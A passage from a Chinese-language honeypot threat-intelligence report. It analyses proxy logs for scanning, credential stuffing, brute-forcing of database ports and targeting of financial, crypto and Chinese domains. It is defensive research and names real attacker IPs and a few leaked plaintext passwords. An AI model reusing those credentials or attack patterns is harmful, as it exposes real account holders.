style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">把源 IP 按总请求数排序，过滤掉 requests &lt; 1000 的长尾，能看到一个有趣的分层：</span></span></p><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.7292176039119804" style="width:560.010009765625px;height:408.0099792480469px;" data-w="1636" src="https://wechat2rss.xlab.app/img-proxy/?k=bfc5a33c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FTAFC5BLa6G1wkE1ic3icIibghQyicuVJyS95SCEReKhkAujR4x7P1TJ9xXeSicZQzkLAMDz28sKW0PIbmbg7vbMGqyliad1TZ8Zkh1qNFAe7q9Grk%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：按 requests 降序，unique_targets 这一列反映了&#34;是爬虫&#34;还是&#34;打固定目标&#34;</span></span></p><p style="mso-style-parent: &#39;&#39;;text-align: left;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l0 level1 lfo2;margin-top: 2.0pt;margin-bottom: 2.0pt;margin-left: 36.0pt;text-indent: -18.0pt;line-height: 142%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">•</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">45.194.92.15：326 万请求，但只打 27 个目标——固定目标爆破或采集。</span></span></p><p style="mso-style-parent: &#39;&#39;;text-align: left;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l0 level1 lfo2;margin-top: 2.0pt;margin-bottom: 2.0pt;margin-left: 36.0pt;text-indent: -18.0pt;line-height: 142%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">•</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">130.12.183.13：301 万请求，3,087 个目标——宽面爬虫，几乎每个请求换一个目标。</span></span></p><p style="mso-style-parent: &#39;&#39;;text-align: left;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l0 level1 lfo2;margin-top: 2.0pt;margin-bottom: 2.0pt;margin-left: 36.0pt;text-indent: -18.0pt;line-height: 142%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">•</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">163.172.69.3：74.6 万请求，515,536 个目标——典型的海量扫描，这个 IP 后面还会反复出现。</span></span></p><p style="mso-style-parent: &#39;&#39;;text-align: left;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l0 level1 lfo2;margin-top: 2.0pt;margin-bottom: 2.0pt;margin-left: 36.0pt;text-indent: -18.0pt;line-height: 142%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">•</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">62.210.123.69：70.8 万请求，494,318 个目标——和上面一条一个套路。</span></span></p><p style="mso-style-parent: &#39;&#39;;text-align: left;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l0 level1 lfo2;margin-top: 2.0pt;margin-bottom: 2.0pt;margin-left: 36.0pt;text-indent: -18.0pt;line-height: 142%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">•</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">80.75.212.*：多条记录集中在一两个 unique_ua、unique_nodes=7，说明是一个同一个主体用同一个客户端在同时打 7 个蜜罐节点。</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">最后那一点值得展开说一下。80.75.212 这个 /24 的多个 IP 都打满了我们所有的节点，而且客户端指纹只有 1~2 种，这不是攻击者在用这个段做出口，而是有人把我们的蜜罐加进了他们的&#34;代理池列表&#34;，然后按池轮询地转发他们自己的上游流量。换句话说，我们的蜜罐在他们眼里就是一批&#34;免费好代理&#34;。这个正是蜜罐真正想抓的东西。</span></span><o:page></o:page></p><h2 style="mso-style-parent: &#39;&#39;;margin-top: 14.0pt;margin-bottom: 7.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 2;font-size: 14.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #2E5D8C;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">5.2 扫描维度：单 IP 命中大量不同 host</span></span></h2><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.6656626506024096" style="width:560.010009765625px;height:373.010009765625px;" data-w="1660" src="https://wechat2rss.xlab.app/img-proxy/?k=2e3f144c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G31k0Zxx4enYcQzMkdjEG3HgQviaByH5304RnTz3zIsqqa6kwZRs6VgAkOvDmwweff2BPTPpkiaZnDSyuEgL7YjGzXpqxtHqIJFw%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：unique_hosts &gt; 50 的 IP 列表，反映扫描面与扫描策略</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">扫描维度的查询条件把 unique_hosts 的阈值放到了 50，直接过滤掉那些只打固定目标的。结果出现的第一名还是 163.172.69.3，命中 51.5 万个不同的 host，这在五天窗口里意味着平均每秒要碰 1.2 个新目标——这显然是 URL 列表喂出来的批量扫描，不是漫游式的全网探测。</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">sample_hosts 那一列提供了很多直接信息：第三名 193.70.47.237 打的是 IP 直连类目标（37.187.133.177:51、79.85.190:70、10.164.178:154.202.109.134 这种），说明它拿到的是一份开放服务的 IP:Port 列表。再往下的多条 IP（107.173.18.15、181.214.218.217、107.173.18.21……）unique_hosts 都精准地停在 1504 或 1454，这个&#34;魔法数字&#34;反复出现，意味着这些 IP 在共享同一份扫描清单。换句话说，背后可能是同一个扫描框架（或同一个 C2）在驱动多台主机。</span></span><o:page></o:page></p><h2 style="mso-style-parent: &#39;&#39;;margin-top: 14.0pt;margin-bottom: 7.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 2;font-size: 14.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #2E5D8C;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">5.3 账号密码维度：被代理的撞库流量</span></span></h2><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.6642899584076055" style="width:560.010009765625px;height:372.010009765625px;" data-w="1683" src="https://wechat2rss.xlab.app/img-proxy/?k=a55291a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G00DfsGjooZmcg1IvzB0ujzm0tjqmia36CzEvchpe9wfYebD8UIZqibg8bcm39xBaGLibqolEVmwX7dQicCrq5jh9DEboiaHNeEsCpI%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：按 (username, password) 聚合的撞库尝试，每组都是 3 次，典型的撞库库特征</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">这张图非常直接地展示了&#34;撞库&#34;这件事。查询把 username 和 password 都非空、且尝试次数 &gt; 1 的记录拉出来按 attempts 排序，结果是——绝大多数 (user, pass) 组合都正好是 3 次。这个&#34;3 次&#34;不是巧合，是典型撞库库的默认重试阈值；账号全是 Gmail，密码都是常见的个人习惯密码（Fischkopf1!、Jilan1995!、Malcolm!231、Neeraj@07、Gabby1044_1…），说明这批数据不是新鲜 leak，而是经过多轮清洗后的&#34;万能库&#34;。攻击者不是在尝试爆破，是在尝试验证这批老库还有哪些账号还活着。</span></span></p><h2 style="mso-style-parent: &#39;&#39;;margin-top: 14.0pt;margin-bottom: 7.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 2;font-size: 14.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #2E5D8C;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">5.4 密码高频泄露站点：谁在&#34;送&#34;账号</span></span><o:page></o:page></h2><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5980746089049338" style="width:560.010009765625px;height:335.010009765625px;" data-w="1662" src="https://wechat2rss.xlab.app/img-proxy/?k=786b9658&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G0hMey8dwL9REUt6DPNVQw9JvS0csSFmibVMhPLGy584tviakJmbiaChzZqfoOKTdEGrScA78AwAoonvK91tl4pL5EVdSMdp6MnsU%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：按泄露主机聚合的排行，megatypers.com 独占鳌头</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">换一个角度，我们按&#34;凭据是从哪个 host 的请求里流出来的&#34;来排序，结果第一名 www.megatypers.com 一骑绝尘：14,937 次泄露，涉及 13,007 个不同用户。这个站是做打码平台的——也就是所谓的&#34;验证码人工识别平台&#34;，工作者登录进去接单识别别人发来的验证码赚钱。攻击者把成千上万个打码工账号的明文凭据扔给我们的代理，本质上是在用蜜罐帮他们维护账号可用性。</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">后面几名（suzukatsu.com、bobilreiser.no、marketingevendite.it……）的泄露量都是 20 上下，且 unique_users 基本等于 leaks，这是&#34;每个账号只登过一次&#34;的 fresh 提交模式，更像普通用户或者小规模撞库命中。</span></span></p><h2 style="mso-style-parent: &#39;&#39;;margin-top: 14.0pt;margin-bottom: 7.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 2;font-size: 14.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #2E5D8C;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">5.5 高价值目标 host：金融、加密货币、云、政府</span></span><o:page></o:page></h2><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.7441158720579361" style="width:560.010009765625px;height:417.010009765625px;" data-w="1657" src="https://wechat2rss.xlab.app/img-proxy/?k=dceb23c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G0uu9HCf88nGLrd8QhxT0Rm9rdmxMYYIZpmXNQvvhN7xviaKh1sQJnbxKKoncgmvH1ib4g3PyYh5O4TicCNuWraiciaH8gA6afxYibHA%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：关键词过滤 bank/pay/wallet/crypto/exchange/binance/coinbase/metamask/gov/aws/azure/aliyun/tencentcloud 等</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">给 SQL 加一堆 host ILIKE 关键字，把和支付、加密货币、交易所、云、政府有关的目标专门拉出来。结果出现了几个值得盯的：</span></span></p><p style="mso-style-parent: &#39;&#39;;text-align: left;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l0 level1 lfo2;margin-top: 2.0pt;margin-bottom: 2.0pt;margin-left: 36.0pt;text-indent: -18.0pt;line-height: 142%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">•</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">pay.tbibank.bg：保加利亚 TBI Bank 的支付接口，4.6 万次访问，4 个独立 IP，上行 140MB。这种量级的上行不像是爬，像是在自动化测试支付表单或者拿着卡头批量试扣款。</span></span></p><p style="mso-style-parent: &#39;&#39;;text-align: left;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l0 level1 lfo2;margin-top: 2.0pt;margin-bottom: 2.0pt;margin-left: 36.0pt;text-indent: -18.0pt;line-height: 142%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">•</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">pay.ktusa.to：域名就可疑（.to 后缀常见于灰色支付通道），1.35 万次访问。</span></span></p><p style="mso-style-parent: &#39;&#39;;text-align: left;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l0 level1 lfo2;margin-top: 2.0pt;margin-bottom: 2.0pt;margin-left: 36.0pt;text-indent: -18.0pt;line-height: 142%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">•</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">catexchange.ru、crypto-sparen.com、coldexchanger.com、m.freewallet.org、auth.expo2025-wallet.com：一整条加密货币服务路径——交易所 + 冷钱包 + 热钱包 + 事件相关钓鱼域名（expo2025 是在蹭大阪世博会热度）。</span></span></p><p style="mso-style-parent: &#39;&#39;;text-align: left;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l0 level1 lfo2;margin-top: 2.0pt;margin-bottom: 2.0pt;margin-left: 36.0pt;text-indent: -18.0pt;line-height: 142%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">•</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">checkip.amazonaws.com：11,239 次，45 个独立 IP。这是所有工具都爱用的&#34;查自己出口 IP&#34;的接口，量大说明很多攻击链路会在每次动作前先校验出口干净。</span></span><o:page></o:page></p><p style="mso-style-parent: &#39;&#39;;text-align: left;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l0 level1 lfo2;margin-top: 2.0pt;margin-bottom: 2.0pt;margin-left: 36.0pt;text-indent: -18.0pt;line-height: 142%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">•</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">ajax.googleapis.com 上面出现了 232 个独立 IP——这个是注入框架依赖 jQuery 的常见行为，反映出大量基于 jQuery 的扫描/注入工具在跑。</span></span></p><p style="mso-style-parent: &#39;&#39;;text-align: left;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l0 level1 lfo2;margin-top: 2.0pt;margin-bottom: 2.0pt;margin-left: 36.0pt;text-indent: -18.0pt;line-height: 142%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">•</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">*.gov.my、*.gov.br、staffs.sch.uk——马来西亚政府域、巴西小政府域、英国学校域都出现了几次，量不大但定向性很强。</span></span></p><h2 style="mso-style-parent: &#39;&#39;;margin-top: 14.0pt;margin-bottom: 7.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 2;font-size: 14.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #2E5D8C;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">5.6 数据库端口穿透</span></span></h2><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.56664674237896" style="width:560.010009765625px;height:317.0px;" data-w="1673" src="https://wechat2rss.xlab.app/img-proxy/?k=ec781955&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FTAFC5BLa6G2G9m4ibQYcethWdicBx9XcrzjtKs5XQFctrfpS9ibL2wCs5lF57rXCWms0cwZGRicGMItOg85eR78e4Nibq0KdZ277aQ0VaPp2pHNg%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：port IN (3306, 5432, 1433, 27017, 6379, 9200, 11211) 的 CONNECT 隧道</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">把 CONNECT 目标的端口限定为数据库端口（MySQL/PostgreSQL/MSSQL/Mongo/Redis/Elasticsearch/Memcached）之后，立刻就看到了一个&#34;专业户&#34;：54.37.252.234。这个 IP 在短时间内用我们代理连了几十个 3306 目标，每个目标几百到上千次，节奏很稳——这不是在探测&#34;是否开放&#34;，是在对已知开放的 MySQL 做暴力登录。107.173.18.15 单挑 185.126.183.116:3306 1,463 次也是同一个套路。79.127.175.75 同时在 3306 和 5432 上打同一批目标，说明工具支持两种协议。</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">值得注意的是 Redis（6379）、Mongo（27017）、Elasticsearch（9200）这几个端口的活跃度远低于 MySQL。一个合理解释是：6379/27017/9200 这些服务本身大多放在内网，而 3306 在中小企业里直接暴露公网的比例还很高，对攻击者来说性价比最好。</span></span><o:page></o:page></p><h1 style="mso-style-parent: &#39;&#39;;margin-top: 18.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 1;font-size: 18.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #1F3864;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">六、海外对大陆的威胁观察</span></span></h1><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">节点都在海外，所以这个视角其实非常关键：我们能看到海外攻击者（或挂了海外代理的攻击者）在&#34;打进大陆&#34;之前的那一跳。三个子维度：顶级域访问、宽面 SNI 扫描、针对金融行业。</span></span></p><h2 style="mso-style-parent: &#39;&#39;;margin-top: 14.0pt;margin-bottom: 7.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 2;font-size: 14.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #2E5D8C;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">6.1 访问中国国家/地区顶级域</span></span></h2><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.3207885304659498" style="width:580.010009765625px;height:186.0px;" data-w="1674" src="https://wechat2rss.xlab.app/img-proxy/?k=f8fd434a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G1Sw0Mn9sodKyyvq3ooqJqq7UP3EewGVy5ucVEfA3TfLSklZh8jXOIvzdwdcicjEkvLh7BGCzPRv6XriaJ7RhKtyxtynkSuWxMds%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：SNI 命中 .cn / .com.cn / .net.cn / .org.cn</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">这几个目标很可疑：xwkf.zidikm.cn、wwa.qzdwlm.cn、fe.dtyuedan.cn——域名都是随机字符串的短拼音，TLD 是 .cn，但任何正常业务都不会用这种域名。更重要的是 down_bytes：xwkf.zidikm.cn 下行 630MB，query.zidikm.cn 下行 288MB。下行流量远大于上行，说明代理这头在&#34;拉取&#34;内容——典型的数据窃取或者配置下发通道。www.gov.cn 这个出现 63 次、1 个独立 IP 的记录量虽然小，但访问源只有一个 IP 反复触达，属于定向探测。</span></span></p><h2 style="mso-style-parent: &#39;&#39;;margin-top: 14.0pt;margin-bottom: 7.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 2;font-size: 14.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #2E5D8C;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">6.2 对国内主流服务的 SNI 扫描</span></span></h2><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.32880755608028334" style="width:580.010009765625px;height:191.0px;" data-w="1694" src="https://wechat2rss.xlab.app/img-proxy/?k=03c3845d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FTAFC5BLa6G3qHGWH6LAvPpCbW6VCHr9E8aQHJM5GZyeOmaUEtu9lSlbMrMdcFyezTBdetbalx0tczWRaia400a1zJBMfC59fYbmJcfC9XlHM%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page></o:page></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：SNI 命中 .cn、alibaba、tencent、baidu、huawei、bytedance、weixin、jd、taobao 的源 IP 排行</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">这张图说的是：单一攻击者在一次会话里，触碰了多少个中国主流服务的子域。172.96.14.120 在短时间内触达了 511 个不同的中国目标 